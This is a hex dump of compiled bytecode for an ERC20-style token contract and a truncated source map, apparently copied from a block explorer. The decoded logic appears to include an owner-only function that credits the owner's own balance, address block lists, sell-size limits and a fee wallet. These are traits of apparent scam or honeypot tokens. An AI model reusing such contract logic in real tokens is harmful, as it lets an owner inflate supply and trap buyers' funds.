0ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb906134e7565b60405180910390fd5b8160048190555060019050919050565b600080610f02856001611251565b90506000610f11866002611251565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480610fa15750610f72611ffd565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80610fdf5750600073ffffffffffffffffffffffffffffffffffffffff16610fc7611ffd565b73ffffffffffffffffffffffffffffffffffffffff16145b8061101c5750610fed611a64565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806110245750815b156111195761103486868661273f565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061107f61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050848110156110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f6906134c7565b60405180910390fd5b6111138761110b61256c565b878403612574565b50611244565b600454841115806111365750600a60009054906101000a900460ff165b8015611148575061114686612aef565b155b8015611152575080155b156112435761116286868661273f565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111ad61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508481101561122d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611224906134c7565b60405180910390fd5b6112418761123961256c565b878403612574565b505b5b6001925050509392505050565b6000806000905060018360ff1614156113345760005b600c805490508160ff16101561132e578473ffffffffffffffffffffffffffffffffffffffff16600c8260ff16815481106112cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561131b576001915061132e565b808061132690613899565b915050611267565b50611400565b60005b600d805490508160ff1610156113fe578473ffffffffffffffffffffffffffffffffffffffff16600d8260ff168154811061139b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113eb57600191506113fe565b80806113f690613899565b915050611337565b505b8091505092915050565b6000919050565b60006012905090565b61142261256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a6906134e7565b60405180910390fd5b50565b60006115546114bf61256c565b8484600660006114cd61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154f919061366f565b612574565b6001905092915050565b600061156861256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec906134e7565b60405180910390fd5b60005b600c805490508160ff161015611721578273ffffffffffffffffffffffffffffffffffffffff16600c8260ff168154811061165c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561170e57600c8160ff16815481106116e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b808061171990613899565b9150506115f8565b5060019050919050565b50565b600092915050565b61173e61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c2906134e7565b60405180910390fd5b50565b600030905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000905060008443423360405160200161183c9190613373565b6040516020818303038152906040528051906020012060001c61185f91906136c5565b86454241604051602001611873919061338e565b6040516020818303038152906040528051906020012060001c61189691906136c5565b44426118a2919061366f565b6118ac919061366f565b6118b6919061366f565b6118c0919061366f565b6118ca919061366f565b6118d4919061366f565b6040516020016118e491906133a9565b6040516020818303038152906040528051906020012060001c6119079190613903565b90508581611915919061366f565b9050818061192290613850565b92505080925050509392505050565b600061193b61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bf906134e7565b60405180910390fd5b6119d3826001611251565b611a3b57600c829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c805490509050919050565b6000600a60009054906101000a900460ff16905090565b600090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a9561256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906134e7565b60405180910390fd5b50565b6000808210158015611b38575060648211155b611b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6e90613547565b60405180910390fd5b81600b8190555060019050919050565b606060098054611b969061381e565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc29061381e565b8015611c0f5780601f10611be457610100808354040283529160200191611c0f565b820191906000526020600020905b815481529060010190602001808311611bf257829003601f168201915b5050505050905090565b6000611c2361256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca7906134e7565b60405180910390fd5b611cbb826001611251565b611d2357600d829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600d805490509050919050565b60008060066000611d3f61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df390613567565b60405180910390fd5b611e10611e0761256c565b85858403612574565b600191505092915050565b600080611e30611e2961256c565b6001611251565b90506000611e46611e3f61256c565b6002611251565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e8961256c565b73ffffffffffffffffffffffffffffffffffffffff161480611ee45750611eae611ffd565b73ffffffffffffffffffffffffffffffffffffffff16611ecc61256c565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f225750600073ffffffffffffffffffffffffffffffffffffffff16611f0a611ffd565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f665750611f30611a64565b73ffffffffffffffffffffffffffffffffffffffff16611f4e61256c565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f6e5750815b15611f8a57611f85611f7e61256c565b868661273f565b611fe3565b60045484111580611fa75750600a60009054906101000a900460ff165b8015611fc05750611fbe611fb961256c565b612aef565b155b8015611fca575080155b15611fe257611fe1611fda61256c565b868661273f565b5b5b60019250505092915050565b600092915050565b600b5481565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c7373ffffffffffffffffffffffffffffffffffffffff1663e6a43905600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b81526004016120719291906133df565b60206040518083038186803b15801561208957600080fd5b505afa15801561209d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c19190612c67565b90508091505090565b6060600c80548060200260200160405190810160405280929190818152602001828054801561214e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612104575b5050505050905090565b600061216261256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e6906134e7565b60405180910390fd5b600080600080600090505b86518110156122aa5760028661221091906136c5565b9350838661221e919061366f565b925061222b84848361181f565b9150612235611411565b60ff168261224391906136f6565b915061229761225061256c565b888381518110612289577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518461273f565b80806122a290613850565b9150506121fa565b506001935050505092915050565b6122c061256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461234d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612344906134e7565b60405180910390fd5b50565b600061235a61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123de906134e7565b60405180910390fd5b81600560006123f461256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461243d919061366f565b9250508190555060019050919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6124dc61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612560906134e7565b60405180910390fd5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125db90613527565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264b90613487565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127329190613587565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a690613507565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561281f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281690613467565b60405180910390fd5b61282a838383612b3a565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156128b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a8906134a7565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b5414612a2e5760006064600b548461291391906136f6565b61291d91906136c5565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612990919061366f565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a169190613587565b60405180910390a38083612a2a9190613750565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a7d919061366f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae19190613587565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b8114158015612b315750818114155b92505050919050565b505050565b6000612b52612b4d846135ee565b6135bd565b90508083825260208201905082856020860282011115612b7157600080fd5b60005b85811015612ba15781612b878882612bab565b845260208401935060208301925050600181019050612b74565b5050509392505050565b600081359050612bba81613a0e565b92915050565b600081519050612bcf81613a0e565b92915050565b600082601f830112612be657600080fd5b8135612bf6848260208601612b3f565b91505092915050565b600081359050612c0e81613a25565b92915050565b600081359050612c2381613a3c565b92915050565b600081359050612c3881613a53565b92915050565b600060208284031215612c5057600080fd5b6000612c5e84828501612bab565b91505092915050565b600060208284031215612c7957600080fd5b6000612c8784828501612bc0565b91505092915050565b60008060408385031215612ca357600080fd5b6000612cb185828601612bab565b9250506020612cc285828601612bab565b9150509250929050565b600080600060608486031215612ce157600080fd5b6000612cef86828701612bab565b9350506020612d0086828701612bab565b9250506040612d1186828701612c14565b9150509250925092565b60008060408385031215612d2e57600080fd5b6000612d3c85828601612bab565b9250506020612d4d85828601612c14565b9150509250929050565b60008060408385031215612d6a57600080fd5b6000612d7885828601612bab565b9250506020612d8985828601612c29565b9150509250929050565b60008060408385031215612da657600080fd5b600083013567ffffffffffffffff811115612dc057600080fd5b612dcc85828601612bd5565b9250506020612ddd85828601612c14565b9150509250929050565b600060208284031215612df957600080fd5b6000612e0784828501612bff565b91505092915050565b600060208284031215612e2257600080fd5b6000612e3084828501612c14565b91505092915050565b60008060408385031215612e4c57600080fd5b6000612e5a85828601612c14565b9250506020612e6b85828601612bff565b9150509250929050565b600080600060608486031215612e8a57600080fd5b6000612e9886828701612c14565b9350506020612ea986828701612c14565b9250506040612eba86828701612c14565b9150509250925092565b6000612ed08383612ef3565b60208301905092915050565b612eed612ee882613796565b6138d5565b82525050565b612efc81613784565b82525050565b612f0b81613784565b82525050565b612f22612f1d82613784565b6138c3565b82525050565b6000612f338261362a565b612f3d818561364d565b9350612f488361361a565b8060005b83811015612f79578151612f608882612ec4565b9750612f6b83613640565b925050600181019050612f4c565b5085935050505092915050565b612f8f816137a8565b82525050565b6000612fa082613635565b612faa818561365e565b9350612fba8185602086016137eb565b612fc3816139f0565b840191505092915050565b6000612fdb60238361365e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061304160228361365e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130a760268361365e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061310d60288361365e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061317360208361365e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006131b360258361365e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061321960248361365e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061327f60228361365e565b91507f5472616e7366657220666565206973206265747765656e203120616e6420313060008301527f302e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006132e560258361365e565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b613347816137d4565b82525050565b61335e613359826137d4565b6138f9565b82525050565b61336d816137de565b82525050565b600061337f8284612f11565b60148201915081905092915050565b600061339a8284612edc565b60148201915081905092915050565b60006133b5828461334d565b60208201915081905092915050565b60006020820190506133d96000830184612f02565b92915050565b60006040820190506133f46000830185612f02565b6134016020830184612f02565b9392505050565b600060208201905081810360008301526134228184612f28565b905092915050565b600060208201905061343f6000830184612f86565b92915050565b6000602082019050818103600083015261345f8184612f95565b905092915050565b6000602082019050818103600083015261348081612fce565b9050919050565b600060208201905081810360008301526134a081613034565b9050919050565b600060208201905081810360008301526134c08161309a565b9050919050565b600060208201905081810360008301526134e081613100565b9050919050565b6000602082019050818103600083015261350081613166565b9050919050565b60006020820190508181036000830152613520816131a6565b9050919050565b600060208201905081810360008301526135408161320c565b9050919050565b6000602082019050818103600083015261356081613272565b9050919050565b60006020820190508181036000830152613580816132d8565b9050919050565b600060208201905061359c600083018461333e565b92915050565b60006020820190506135b76000830184613364565b92915050565b6000604051905081810181811067ffffffffffffffff821117156135e4576135e36139c1565b5b8060405250919050565b600067ffffffffffffffff821115613609576136086139c1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061367a826137d4565b9150613685836137d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136ba576136b9613934565b5b828201905092915050565b60006136d0826137d4565b91506136db836137d4565b9250826136eb576136ea613963565b5b828204905092915050565b6000613701826137d4565b915061370c836137d4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561374557613744613934565b5b828202905092915050565b600061375b826137d4565b9150613766836137d4565b92508282101561377957613778613934565b5b828203905092915050565b600061378f826137b4565b9050919050565b60006137a1826137b4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156138095780820151818401526020810190506137ee565b83811115613818576000848401525b50505050565b6000600282049050600182168061383657607f821691505b6020821081141561384a57613849613992565b5b50919050565b600061385b826137d4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561388e5761388d613934565b5b600182019050919050565b60006138a4826137de565b915060ff8214156138b8576138b7613934565b5b600182019050919050565b60006138ce826138e7565b9050919050565b60006138e0826138e7565b9050919050565b60006138f282613a01565b9050919050565b6000819050919050565b600061390e826137d4565b9150613919836137d4565b92508261392957613928613963565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b613a1781613784565b8114613a2257600080fd5b50565b613a2e816137a8565b8114613a3957600080fd5b50565b613a45816137d4565b8114613a5057600080fd5b50565b613a5c816137de565b8114613a6757600080fd5b5056fea2646970667358221220bfe052b36a49fa93d0afc09941538fa8c6dfe452e3ebeb4dbcfe95e1709113dd64736f6c63430008000033

Deployed Bytecode Sourcemap

2413:11940:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7859:65;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3442:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8980:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4365:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7312:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6972:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3757:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7187:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9155:1277;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4993:584;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7570:77;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3658:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7724:65;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11258:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4634:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7031:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7080:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7653:65;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11898:102;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3871:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6319:535;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4187:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7434:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7511:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1274:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7930:77;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10672:241;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3548:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4004:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11479:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8089:728;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6862:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3006:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10438:228;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4896:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5773:540;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8013:70;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5583:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8823:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7795:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7859:65;1409:12;:10;:12::i;:::-;1399:22;;:6;;;;;;;;;;:22;;;1391:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7859:65;:::o;3442:100::-;3496:13;3529:5;3522:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3442:100;:::o;8980:169::-;9063:4;9080:39;9089:12;:10;:12::i;:::-;9103:7;9112:6;9080:8;:39::i;:::-;9137:4;9130:11;;8980:169;;;;:::o;4365:263::-;4435:4;1409:12;:10;:12::i;:::-;1399:22;;:6;;;;;;;;;;:22;;;1391:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4456:7:::1;4452:147;4473:8;:15;;;;4469:1;:19;;;4452:147;;;4528:5;4513:20;;:8;4522:1;4513:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:20;;;4510:78;;;4561:8;4570:1;4561:11;;;;;;;;;;;;;;;;;;;;;;;;;;4554:18;;;;;;;;;;;4510:78;4490:3;;;;;:::i;:::-;;;;4452:147;;;;4616:4;4609:11;;4365:263:::0;;;:::o;7312:116::-;7371:4;1409:12;:10;:12::i;:::-;1399:22;;:6;;;;;;;;;;:22;;;1391:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7395:3:::1;7388:4;;:10;;;;;;;;;;;;;;;;;;7416:4;7409:11;;7312:116:::0;;;:::o;6972:53::-;7014:7;6972:53;:::o;3757:108::-;3818:7;3845:12;;3838:19;;3757:108;:::o;7187:119::-;7249:4;1409:12;:10;:12::i;:::-;1399:22;;:6;;;;;;;;;;:22;;;1391:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7273:3:::1;7266:4;:10;;;;7294:4;7287:11;;7187:119:::0;;;:::o;9155:1277::-;9295:4;9312:11;9326:23;9338:6;9346:1;9326:10;:23::i;:::-;9312:37;;9360:12;9375:21;9386:6;9394:1;9375:10;:21::i;:::-;9360:36;;9420:25;;;;;;;;;;;9410:35;;:6;:35;;;:62;;;;9459:13;:11;:13::i;:::-;9449:23;;:6;:23;;;9410:62;:93;;;;9501:1;9476:27;;:13;:11;:13::i;:::-;:27;;;9410:93;:114;;;;9517:7;:5;:7::i;:::-;9507:17;;:6;:17;;;9410:114;:124;;;;9528:6;9410:124;9407:996;;;9551:36;9561:6;9569:9;9580:6;9551:9;:36::i;:::-;9608:24;9635:11;:19;9647:6;9635:19;;;;;;;;;;;;;;;:33;9655:12;:10;:12::i;:::-;9635:33;;;;;;;;;;;;;;;;9608:60;;9711:6;9691:16;:26;;9683:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9806:57;9815:6;9823:12;:10;:12::i;:::-;9856:6;9837:16;:25;9806:8;:57::i;:::-;9407:996;;;;9965:4;;9955:6;:14;;:22;;;;9973:4;;;;;;;;;;;9955:22;9954:47;;;;;9983:18;9994:6;9983:10;:18::i;:::-;9982:19;9954:47;:59;;;;;10006:7;10005:8;9954:59;9950:442;;;10035:36;10045:6;10053:9;10064:6;10035:9;:36::i;:::-;10090:24;10117:11;:19;10129:6;10117:19;;;;;;;;;;;;;;;:33;10137:12;:10;:12::i;:::-;10117:33;;;;;;;;;;;;;;;;10090:60;;10197:6;10177:16;:26;;10169:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;10300:57;10309:6;10317:12;:10;:12::i;:::-;10350:6;10331:16;:25;10300:8;:57::i;:::-;9950:442;;9407:996;10420:4;10413:11;;;;9155:1277;;;;;:::o;4993:584::-;5062:4;5079:10;5092:5;5079:18;;5120:1;5111:5;:10;;;5108:439;;;5142:7;5138:181;5159:6;:13;;;;5155:1;:17;;;5138:181;;;5214:5;5201:18;;:6;5208:1;5201:9;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:18;;;5198:106;;;5252:4;5244:12;;5279:5;;5198:106;5174:3;;;;;:::i;:::-;;;;5138:181;;;;5108:439;;;5355:7;5351:185;5372:8;:15;;;;5368:1;:19;;;5351:185;;;5431:5;5416:20;;:8;5425:1;5416:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:20;;;5413:108;;;5469:4;5461:12;;5496:5;;5413:108;5389:3;;;;;:::i;:::-;;;;5351:185;;;;5108:439;5564:5;5557:12;;;4993:584;;;;:::o;7570:77::-;7636:7;7570:77;;;:::o;3658:93::-;3716:5;3741:2;3734:9;;3658:93;:::o;7724:65::-;1409:12;:10;:12::i;:::-;1399:22;;:6;;;;;;;;;;:22;;;1391:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7724:65;:::o;11258:215::-;11346:4;11363:80;11372:12;:10;:12::i;:::-;11386:7;11432:10;11395:11;:25;11407:12;:10;:12::i;:::-;11395:25;;;;;;;;;;;;;;;:34;11421:7;11395:34;;;;;;;;;;;;;;